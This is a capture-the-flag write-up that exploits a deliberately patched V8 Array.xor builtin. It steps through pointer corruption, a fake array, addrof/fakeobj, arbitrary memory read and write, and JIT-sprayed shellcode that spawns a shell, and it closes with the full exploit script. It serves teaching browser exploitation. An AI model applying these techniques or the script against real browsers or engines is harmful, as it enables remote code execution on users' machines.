Exploiting V8 at openECSC
Despite having 7 Chrome CVEs, I’ve never actually fully exploited a memory corruption in its V8 JavaScript engine before. Baby array.xor, a challenge at this year’s openECSC CTF, was my first time going from a V8 bug to popping a /bin/sh
shell.
Most V8 exploits tend to have two stages to them - figuring out a unique way to trigger some sort of a memory corruption of at least one byte, and then following a common pattern of building upon that corruption to read arbitrary addresses (addrof
), create fake objects (fakeobj
), and eventually reach arbitrary code execution. This challenge was no different.
In case you need to xor doubles...
nc arrayxor.challs.open.ecsc2024.it 38020
# | Time | User |
---|---|---|
1 | 2024-05-15 18:02:34Z | rdj |
2 | 2024-05-15 18:26:26Z | Diff-fusion |
3 | 2024-05-16 04:25:57Z | crazyman |
4 | 2024-05-16 09:52:43Z | hlt |
5 | 2024-05-17 21:35:14Z | Popax21 |
6 | 2024-05-19 20:43:27Z | rebane2001 <- me :o |
Part 1: Finding the memory corruption
The challenge consists of the V8 engine with some new functionality added through a patch:
The patch adds a new Array.xor() prototype that can be used to xor all values within an array of doubles, let’s try it:
(3) [0.10000000000001079, 0.20000000000002158, 0.30000000000004035]
1: 0x3fc9999999999ca3
2: 0x3fd333333333360a
Quite the peculiar feature. It may seem a little confusing if you aren’t familiar with IEEE 754 doubles, but it makes sense once we look at the hex representations of the values:
It pretty much just interprets the double as an integer, and then performs the XOR operation on it. In this example we XORed the doubles with 0x539 (1337 in decimal), so the last three hex digits of each double changed. It’s a pretty silly operation to perform on a double.
Just XORing doubles isn’t going to get us anywhere though, since the values are stored in a doubles array (PACKED_DOUBLE_ELEMENTS
1) as just raw 64-bit doubles. All we can do is change some numbers around, but that’s something we can already do without xor. It’d be a lot more interesting if we could run this xor thingie on a mixed array (PACKED_ELEMENTS
) consisting of memory pointers to other JavaScript objects, because we could point the pointers to places in memory we’re not supposed to.
Alright, let’s try an array with an object in it then:
Hmm, seems like there’s a check in-place to prevent us from doing this:
But what if we create a double array, but then wrap it in an evil proxy?
(3) [0.1, 0.2, 0.3] // hehe, looks good!
1: 3fc999999999999a
2: 3fd3333333333333
No dice, seems like they’ve thought of that too:
The IsJSArray method makes sure that we are in fact passing an array, and the HasOnlySimpleReceiverElements method checks for anything sus2 within the array or it’s prototype.
Hmmph, this seems pretty well coded so far. There is no way for us to get anything other than a basic double array past these checks, and XORing such an array isn’t going to accomplish anything. I went on to carefully examine other parts of the code for any possible flaws.
The length of the array gets stored in a uint32_t
, and I thought that perhaps we could overflow this value, but it turns out you can’t make an array that big:
I also tried messing with the length value, but v8 doesn’t allow us to do that in a way that could be of use here:
And then it hit me - we’re only doing all those fancy checks on the array itself, but not the argument! We get the xor argument (Object::ToNumber(isolate, args.at(1))
) after we’re already past all the previous array checks, so perhaps we could turn the xor argument evil and put an object in the double array once we’re already past the initial checks? Let’s give it a shot:
(3) [140508, 2.2, 140484] // waow!
1: 0x00044cbd (pointer to double)
2: 0x00044988 (SMI)
We’re cooking!
Part 2: Breaking out of bounds
Now that we’ve found a way to put some objects in an array and mess with their pointer, we must figure out a way to turn them into primitives we can actually use. There are a few different ways to accomplish this from here. I’ll go with the path I took originally, but see if you can figure out any other ways to get there - I’ll share a couple (arguably better ones) at the end of the post.
But first, we should look at how v8 stores stuff in the memory so that we can figure out what our memory corruption looks like and what we can do with it. How could we do that?
With the d8 natives syntax and a debugger! If we launch d8 (the v8 shell) with the --allow-natives-syntax
flag, we can use various debug functions such as %DebugPrint(obj)
to examine what’s going on with objects, and if we combine that with a debugger (gdb in this case) we can even check out the entire memory to understand it better. Let’s try it:
In this example I made an array, used DebugPrint to see it’s address, and then used gdb’s x/8xg
3 command to see the memory around that address. Going forward I’ll be cleaning up the examples shown in the blog post, but this is essentially how you can follow along at home.
You’ll notice I subtracted 1 from the memory address before viewing it - that’s because of tagged pointers! In a PACKED_ELEMENTS
array (and many other V8 structures), SMIs (SMall Integers) that end with a 0 bit (even) are shifted and stored directly, but everything ending with a 1 bit (odd) gets interpreted as a pointer, so a pointer to 0x1000
gets stored as 0x1001
. Because of this, we have to subtract 1 from all tagged pointers before checking out their address.
But let’s try to understand what the gdb output above means:
0xa3800042bc0: 0x001d3377020801a4 0xa3800042bc8: 0x00000006000008a9
0xa3800042bd0: 0x3ff199999999999a 0xa3800042bd8: 0x400199999999999a
0xa3800042be0: 0x400a666666666666 0xa3800042be8: 0x00000725001cb7c5
0xa3800042bf0: 0x0000000600042bc9 0xa3800042bf8: 0x00bab9320000010d
0xa3800042c00: 0x7566280a00000adc
PACKED_DOUBLE_ELEMENTS
array with a length of 34 at 0xa3800042bc8. At that address we find a FixedDoubleArray with a length of 3 (again) and the doubles 1.1, 2.2, and 3.3.
Try hovering overtapping on the text and stuff above. You’ll see what the memory values mean and how they’re represented in the %DebugPrint output.
You may be wondering why the memory only contains half the address - 0xa3800042bc8
is stored as 0x00042bc9
for example. This is V8’s pointer compression and for our purposes all it does is make pointers be just the lower 32 bits of an address.
Pretty cool, let’s see what happens if we put an array inside of another array:
0xa3800044a18: 0x1d1a6d7400000004 0xa3800044a20: 0x0000056d001d3fb7
0xa3800044a28: 0x00042be900000002 0xa3800044a30: 0x00000725001cb845
0xa3800044a38: 0x0000000200044a25 0xa3800044a40: 0x00000725001cb845
0xa3800044a48: 0x0000000200044b99
The memory order of the elements part here looks a little odd because it doesn’t align with the 64-bit words and we’re looking at little endian memory. This is a bit counter-intuitive because instead of reading the offset value as 0x0000000011112222 0x3333444400000000
you have to read it as 0x3333444400000000 0x0000000011112222
.
0000000000000000000000000000000000
if offset by: |
0 1 2 3 4 5 6 7 8 drag this ->
The array in our array is just stored as a pointer to that array! At the moment it is pointing at 0xa3800042be8
which has our double array, but if we XOR this pointer to a different address we can make it point to any array or object we want… even if it doesn’t “actually” exist!
Let’s try to make a new array appear out of thin air. To do that, we have to put something in the memory that looks like an array, and then use XOR to point a pointer to it. I’m going to reuse the header of our first array at 0xa3800042be8
, changing the memory addresses to match our new fake array.
0x??????????: 0x0000010000042bd1
PACKED_DOUBLE_ELEMENTS
array with an empty properties list, with 128 elements at 0x???00042bd0. At that address we will have a FixedDoubleArray with a length of 128.
That looks like a pretty good fake! And the length of 128 elements is a bonus - letting us read and write far more than we should be able to. To put this fake array in the memory, we must first convert it into floats so we can use it within an array. There are many ways to do that, but the easiest method within JavaScript is to share the same ArrayBuffer between a Float64Array and a BigUint64Array.
Pretty easy! You’ll notice I appended an n
to our hex value - this is just to convert it to a BigInt, which is required for the BigUint64Array but also gives us better accuracy in general5.
Let’s put these values in the array from earlier:
(3) [5.432309235825e-312, 3.881131231533e-311, 5.432310575454e-312]
1: 0x00000725001cb7c5
2: 0x0000010000042bd1
So our original real array starts at 0xa3800042be8
, and we have our cool new fake array in the memory at 0xa3800042bd8
, so what we can do now is put our real array in a third array with the evil getter trick, and then XOR the pointer to make it point to the fake array.
(128) [3.881131231533e-311, 5.432310575454e-312, 3.881131231533e-311, 1.27321098e-313, 3.8055412126965747e-305, 3.3267913058887005e+257, 2.0317942745751732e-110, 1.2799112976201688e-152, 7.632660997817179e-24, 4.48268017468496e+217, 2.502521315148532e+262, 8.764262388001722e+252, 3.031075143147101e-152, 5.328171041616219e+233, 5.5199981093443586e+228, 7.495112028514905e+247, (112 more)...]
1: 0x0000010000042bd1
2: 0x00000725001cb7c5
3: 0x0000000600042bc9
4: 0x00bab9320000010d
5: 0x7566280a00000adc
6: 0x29286e6f6974636e
7: 0x20657375220a7b20
8: 0x3b22746369727473
9: 0x6d2041202f2f0a0a
10: 0x76696e752065726f
11: 0x7473206c61737265
12: 0x20796669676e6972
13: 0x7075732074616874
14: 0x6f6d207374726f70
15: 0x7365707974206572
(112 more)...
Wow! That fake array of ours has lots of cool data that we didn’t put there. Let’s see what it looks like in the memory.
0xa3800042bc0: 0x001d3377020801a4 0xa3800042bc80xa3800042bc8: 0x00000006000008a9
0xa3800042bd0: 0x00000100000008a9 0xa3800042bd8: 0x00000725001cb7c5
0xa3800042be0: 0x0000010000042bd1 0xa3800042be8: 0x00000725001cb7c5
0xa3800042bf0: 0x0000000600042bc9 0xa3800042bf8: 0x00bab9320000010d
0xa3800042c00: 0x7566280a00000adc 0xa3800042c08: 0x29286e6f6974636e
0xa3800042c10: 0x20657375220a7b20 0xa3800042c18: 0x3b22746369727473
0xa3800042c20: 0x6d2041202f2f0a0a 0xa3800042c28: 0x76696e752065726f
0xa3800042c30: 0x7473206c61737265 0xa3800042c38: 0x20796669676e6972
0xa3800042c40: 0x7075732074616874 0xa3800042c48: 0x6f6d207374726f70
0xa3800042c50: 0x7365707974206572
That’s so cool!! It really is just picking up the next 1024 bytes of memory as doubles, letting us see it all by just looking at the array. In fact, we can even see the original arr
array’s header in elements 2 and 3, let’s try to read it out from within JavaScript. We’ll want a function to turn floats back into hex, for that we can just create the reverse of the i2f
function from earlier.
Exciting! Let’s overwrite arr
’s header with some random stuff and see what happens.
(3) [5.432309235825e-312, 3.881131231533e-311, 5.432310575454e-312]
1: 0x00000725001cb7c5
2: 0x0000010000042bd1
Whoops, yeah… there’s the rub. The memory we’re playing with is rather fragile and randomly changing stuff around is going to end up with a crash.
We’ll have to be a bit more careful going forward if we want to end up with anything more than a segmentation fault. And there’s more to worry about later down the line because v8 also has a garbage collector that likes to swoop in every once in a while to rearrange the memory.
This is a good time to figure out a plan for getting our primitives cooked up though.
Part 3: Cooking up some primitives
In JavaScript exploitation, a memory corruption is usually turned into the addrof and fakeobj primitives. addrof is a function that tells us the address of a JavaScript object, and fakeobj is a function that returns a pointer to a memory address to be interpreted as an object, similar to what we did to create our fake array earlier.
Let’s take our research so far and wrap it up in a nice little script.
The beginning of the script sets up some helper functions. Then we create an array to store our fake array in as before, and also another array that has a random object in it.
To set up the fake array, we must know where our real array is at in memory. There are ways to accomplish this, but for now we’ll just run %DebugPrint and use its output to change the arrAddr value in the code to what the memory address should be. This approach works okay in a controlled environment like ours (we’ll need to keep updating the address as we change the code), but breaks apart when attacking browsers in the real world. I’ll show how to overcome this shortcoming later in the post.
We can then guess how the rest of the memory lines up and use offsets to set a few other variables, such as the fakeElementsAddr which we add to the header of the fake array so that it points to where the fake array’s elements are.
Once everything’s set up we do the xor exploit thing and end up with the fake array in tmp[0]
. We assign it to the oob
variable for convenience and print its memory out in a format similar to the gdb output. Let’s run it!
Neat! If we stare at the patterns in the memory we can make out the other arrays and stuff we initialized earlier. And if you think about it, we pretty much already have the addrof and fakeobj primitives here. At index 10, we can get the address of the object currently in objArr, so if we put an object of our choice in that array we can see its address. And if we put an address to an object at that index, we’ll be able to access it through the objArr array. That’ll be our addrof and fakeobj!
Let’s write the primitives to get and set the upper 32 bits:
If the address were at the lower bits instead, we’d need to modify the code a bit accordingly:
Time to try them out! Let’s do an experiment where we first try to get the address of our fake array, and then turn that address into a new pointer to that array.
(128) [3.881131231533e-311, 5.432310575454e-312, 3.881131231533e-311, 1.27321098e-313, (124 more)...]
1: 0x0000010000042bd1
2: 0x00000725001cb7c5
3: 0x0000000600042bc9
(124 more)...
Sweet! The pointer addresses here are tagged, so they’re 1 bigger than the actual memory locations. We could make addrof and fakeobj subtract and add 1 to see and use the actual memory addresses, but it’s a matter of taste.
Lastly we’ll want to create primitives to arbitrarily read and write memory. To do that, we can create a new array, point it at any memory location we desire, and then read or write its first element. Although we did set the length of an array in two separate memory locations earlier, it turns out this isn’t always required depending on what we want to do. If we just want to read or write a single double, we can just specify the desired address in the array header and it’ll do the trick.
Did you know that strings in JavaScript are immutable! Anyways let’s mutate them using the cool new functions we cooked up.
We’ve done the impossible! Imagine how much we’re gonna be able to speed up the performance of our webapps by running this exploit and making strings mutable.
Part 4: Code execution
So we can read and write any memory, how do we turn this into code execution?
We’d probably want to start by looking at how code gets stored and run for functions and stuff.
0x3069001d34d0: 0x00032cc100000725 0x3069001d34d8: 0x001c0205001d3439
0x3069001d34e0: 0x00000741001d34b1 0x3069001d34e8: 0x001d33bd00000a91
0x3069001d34f0: 0x001d34c9000084a0
Ooh we’ve got something called code there! But it’s some sort of InterpreterEntryTrampoline, what’s that?
Looking it up, it seems like it’s bytecode generated by Ignition. This V8-specific bytecode is run by a VM and is made specifically for JavaScript. It won’t be much use to us because we want to run computer code that can hack a computer, not chrome code that can hack a website. Looking further into V8 docs we find Maglev and Turbofan, the latter of which seems like a great fit for us because it compiles into machine code.
But our function is still the trampoline thing! How do we turn it into a turbofan thing?
We need to make V8 think it’s important to optimize our code by running it a lot of times, or using debug commands. If we still have the V8 natives syntax enabled from earlier, we can use %PrepareFunction
0x2d7a002006f4: 0x001d485100180011 0x2d7a002006fc: 0xb7941700b79416f1
0x2d7a00200704: 0x800000dc00005555
0x5555b7941708: 0xa0035ef0850f201e 0x5555b7941710: 0x48505756e5894855
0x5555b7941718: 0x0fa0653b4908ec83
Awesome, we have a code object that points to an address where the code gets run from, and we can change it to whatever we want. Let’s make a part of the memory just the 0xCC INT3 breakpoint opcode - this will temporarily pause the execution and send a SIGTRAP signal to gdb so we can look into the current state.
(2) [-9.255963134931783e+61, 2.2]
1: 0x400199999999999a
Huh, that didn’t work, why is that?
The SEGV_ACCERR
signal gives us a hint - it means that there was some sort of a permissions error accessing the memory map. It turns out not all memory is made equal and different parts of the memory have different permissions. In Linux we can see this by looking at the map of a process.
These are all the memory addresses d8 uses, and each one of them has permissions associated with them - read, write, and execute respectively. The array we made is in one of the read-write maps, so trying to execute code from there is going to result in a crash. We’ll need to write into a map with execute permissions.
But how are we going to write data into that one memory map that does have the rwx permissions? We cannot use our write primitive because it can only write into the lower 32 bits our compressed pointer can access.
In figuring this out, I came across this awesome writeup by Anvbis demonstrating how we can use Turbofan to do exactly that through a very clever trick. I’ll be borrowing heavily from that post, but it goes a lot more in-depth so please check it out if this sounds interesting.
What Anvbis did was create a function with doubles in it, and those doubles got Turbofan-optimized into bytes in the rwx area. They could then offset the instruction start pointer to start execution from those doubles instead of the original code.
Let’s see if we can trigger an INT3 breakpoint this way.
(8) [-9.255963134931783e+61, -9.255963134931784e+61, -9.255963134931785e+61, -9.255963134931786e+61, -9.255963134931786e+61, -9.255963134931788e+61, -9.255963134931789e+61, -9.25596313493178e+61]
1: 0xcccccccccccccccd
2: 0xccccccccccccccce
3: 0xcccccccccccccccf
4: 0xcccccccccccccccf // dupe, whoops
5: 0xccccccccccccccd0
6: 0xccccccccccccccd1
7: 0xccccccccccccccc9
0x5555b7941b08: 0xa0035af0850f201e 0x5555b7941b10: 0x48505756e5894855
0x5555b7941b18: 0x0fa0653b4908ec83 0x5555b7941b20: 0x4d8b490000010186
0x5555b7941b28: 0x7d394958798d4848 0x5555b7941b30: 0x480000011f860f50
0x5555b7941b38: 0x48487d894948798d 0x5555b7941b40: 0x08a9ff41c701c183
0x5555b7941b48: 0x0000100341c70000 0x5555b7941b50: 0xccccccccccba4900
0x5555b7941b58: 0xc26ef9c1c4cccccc 0x5555b7941b60: 0xcdba49074111fbc5
0x5555b7941b68: 0xc4cccccccccccccc 0x5555b7941b70: 0x4111fbc5c26ef9c1
0x5555b7941b78: 0xccccccccceba490f 0x5555b7941b80: 0xc26ef9c1c4cccccc
0x5555b7941b88: 0xcfba49174111fbc5 0x5555b7941b90: 0xc4cccccccccccccc
0x5555b7941b98: 0x4111fbc5c26ef9c1 0x5555b7941ba0: 0xba49274111fbc51f
0x5555b7941ba8: 0xccccccccccccccd0 0x5555b7941bb0: 0x11fbc5c26ef9c1c4
0x5555b7941bb8: 0xccccccd1ba492f41 0x5555b7941bc0: 0x6ef9c1c4cccccccc
0x5555b7941bc8: 0xba49374111fbc5c2 0x5555b7941bd0: 0xccccccccccccccc9
0x5555b7941bd8: 0x11fbc5c26ef9c1c4 0x5555b7941be0: 0x894d10478d4c3f41
0x5555b7941be8: 0xb84101c783484845 0x5555b7941bf0: 0xff478944001cb7c5
0x5555b7941bf8: 0x89000007250347c7 (gdb) c Continuing.
Perfect! We found the place in the rwx memory our 0xCC instruction got moved to, and then successfully redirected the execution to that point. The only problem is that our doubles in the memory are not directly one after another - there’s some other instructions in-between and we must deal with that somehow.
The solution to that is creating some very special shellcode that carefully jumps from one double to the next in a way where our code is the only code getting executed. Anvbis’ writeup does a way better job of explaining this than I ever could, so go check it out!
We got shell!!! We’re almost there, except…
Part 5: Please don’t collect the garbage
We’re still reliant on the %PrepareFunction
We want to somehow tell V8 to optimize our function with Turbofan, and the easiest way to accomplish that is to just run our function a lot of times, let’s give it a shot!
Yay, we got our Turbofan code without having to use the debug function stuff! Now let’s try running the exploit again.
huh… that didn’t work?
Let’s try again with some debug logging and the --trace-gc
flag added.
Hmm, so our code gets optimized into Turbofan just fine, but the funcAddr is all wrong! It seems like the for loop causes the garbage collector to run, and what the garbage collector does is look at all the stuff in the memory and rearrange it to look nicer. More specifically, it identifies objects no longer in use, removes them, and also defragments the memory.
What this means for us is that it takes our cool oob array and all the other stuff we’ve set up and throws it all over the place. Our primitives no longer work! In my original exploit at the CTF I fought hard against the GC and eventually found a setup that worked regardless, but it was a bit unreliable. Wouldn’t it be nice if we could somehow optimize our function without causing a GC?
I wasn’t able to find a way to do this with Turbofan, but perhaps we could try out that Maglev thing we ignored earlier? Its output is a bit different, so we’ll have to change our offsets, but since Maglev too compiles into machine code it should still work the same.
With that added, we have our final exploit code.
Let’s get the flag!
gg.
Part 6: What could’ve been
Since this was my first time doing anything like this I made a few “mistakes” along the way. I think that’s really the best way to learn, but I promised to show you a few different ways my exploit could’ve been significantly improved.
The first thing is something I’ve already implemented in the final exploit code above - the obj2ptr
function I nabbed from Popax21’s exploit code. Originally, I used %DebugPrint(arr)
to see the address of the arr
array on every run to change the code accordingly, but there’s a pretty easy way to not have to do that at all!
Since the difference between a pointer and an SMI is just the last bit, we can put any object or pointer into an array, xor its last bit, and get out the pointer or object accordingly. While I only used those functions in my example exploit code to get the initial address of arr
, they are pretty much equal to the full addrof and fakeobj primitives! Beautiful.
Another approach to exploiting the xor I saw in a few solves was changing the length of the array to something small, then forcing a GC to defragment some other object into a region beyond past the array, and then changing the length back to a big amount to get an out-of-bounds read/write. This approach was probably quite brutal to work with, but earned rdjgr their first blood6.
As for the code execution part, pretty much everyone went for a wasm rwx route instead of going through all the trouble I did to optimize a function into Maglev/Turbocode. There are a lot of write-ups for the wasm route, so I felt it’d be more fun to blog about a different approach, and it was the approach I took at the original CTF either way.
In case you’re wondering what my original code at the CTF looked like, it was this:
exploit_final.js
// lyra var bs = new ArrayBuffer(8); var fs = new Float64Array(bs); var is = new BigUint64Array(bs); function ftoi(x) { fs[0] = x; return is[0]; } function itof(x) { is[0] = x; return fs[0]; } const foo = (() => { const f = () => { return [ 1.9711828979523134e-246, 1.9562205631094693e-246, 1.9557819155246427e-246, 1.9711824228871598e-246, 1.971182639857203e-246, 1.9711829003383248e-246, 1.9895153920223886e-246, 1.971182898881177e-246, ]; } //%PrepareFunctionForOptimization(f); f(); //%OptimizeFunctionOnNextCall(f); for (var i = 0; i < 100000; i++) { f() } f() return f; })(); var a = []; for (var i = 0; i < 100000; i++) { a[i] = new String("");foo(); } new ArrayBuffer(0x80000000); var arr1 = [5.432309235825e-312, 1337.888, 3.881131231533e-311, 5.432329947926e-312]; var flt = [1.1]; var tmp = {a: 1}; var obj = [tmp]; var array = [-0]; var hasRun = false; //%DebugPrint(arr1); //%DebugPrint(flt); //%DebugPrint(obj); function getHandler() { if (hasRun) return; hasRun = true; array[0] = arr1; return 80; } x = [] x.__defineGetter__("0", getHandler); array.xor(x); //%DebugPrint(arr1); //%SystemBreak(); console.log("s1"); const oob = array[0]; console.log("s2"); console.log("s3"); function addrof(o) { console.log("oob = oob"); oob[6] = oob[18]; console.log("obj[0] = o"); obj[0] = o; console.log("ret"); return (ftoi(flt[0]) & 0xffffffffn) - 1n; } function read(p) { let a = ftoi(oob[6]) >> 32n; oob[6] = itof((a << 32n) + p - 8n + 1n); return ftoi(flt[0]); } function write(p, x) { let a = ftoi(oob[6]) >> 32n; oob[6] = itof((a << 32n) + p - 8n + 1n); flt[0] = itof(x); } console.log("s3.5"); let foo_addr = addrof(foo); console.log(foo_addr); console.log(oob[0]); foo_addr = addrof(foo); console.log("foo_addr:", foo_addr); let code = (read(foo_addr + 0x08n) - 1n) >> 32n; console.log("code:", code); console.log("0x00:", read(foo_addr + 0x00n)); console.log("0x10:", read(foo_addr + 0x10n)); let entry = read(code - 0x100n + 0x113n); console.log("entry:", entry); write(code - 0x100n + 0x113n, entry + 0x53n); entry = read(code - 0x100n + 0x113n); console.log("entry:", entry); console.log("launching"); console.log(tmp); foo();Not as pretty as the one I made for the blog, but hey, I got the flag, and secured a place in the top 10 of the overall competition!
Part 7: Afterword
thank you so much for checking out my writeup!!
quite the blogpost, isn’t it! i’ve never actually done this kind of pwn before, and i think i learned a lot, so i wanted to pass it forward and share it with you all!
i worked really hard on making all of the html/css on this page be as helpful, interactive, and pretty as possible. as with my last post, everything here is html/css handcrafted with love - no images or javascript were used and it’s all just 42kB gzipped. oh and everything’s responsive too so it should look great no matter if you’re on a small phone or a big hidpi screen! try resizing your window and see how different parts of the post react to it.
this post should work cross-browser, but the v8/gdb hover highlight things and the little endian widget don’t work in the current version of ladybird because it doesn’t support the :has()
selector and resizable handles, hopefully it’ll get those too at some point!
feel free to let me know if you have any comments or notice anything wrong ^^
Discuss this post on: twitter, mastodon, hackernews, cohost
-
PACKED_DOUBLE_ELEMENTS
means that the array consists of doubles only, and it also doesn’t have any empty “holes”. A double array with holes would beHOLEY_DOUBLE_ELEMENTS
instead. ↩︎ -
HasOnlySimpleReceiverElements makes sure that there are no accessors on any of the elements, and that the array’s prototype hasn’t been modified. ↩︎
-
x/8xg
stands for: e(x)amine (8) he(x)adecimal (g)iant words (64-bit values). I recommend checking out a reference to see other ways this command can be used. ↩︎ -
In memory, the length of the array appears as twice what it really is (eg 6 instead of 3) because SMIs need to end with a 0 bit or they’ll become a tagged pointer. If the length of an array was over 231-1 we’d see a pointer to a double instead. ↩︎
-
JavaScript floating-point numbers can only accurately represent integers up to 253–1. You can have larger numbers, but they won’t be accurate. BigInts are a separate data type that doesn’t have this issue - they can be infinitely big while still being accurate! Well, perhaps not infinitely big, but in V8 their size can be over a billion bits, which would be about 128MiB of just a single number. ↩︎
-
In CTF competitions, a “first blood” is the first (and often fastest) solve of a challenge. ↩︎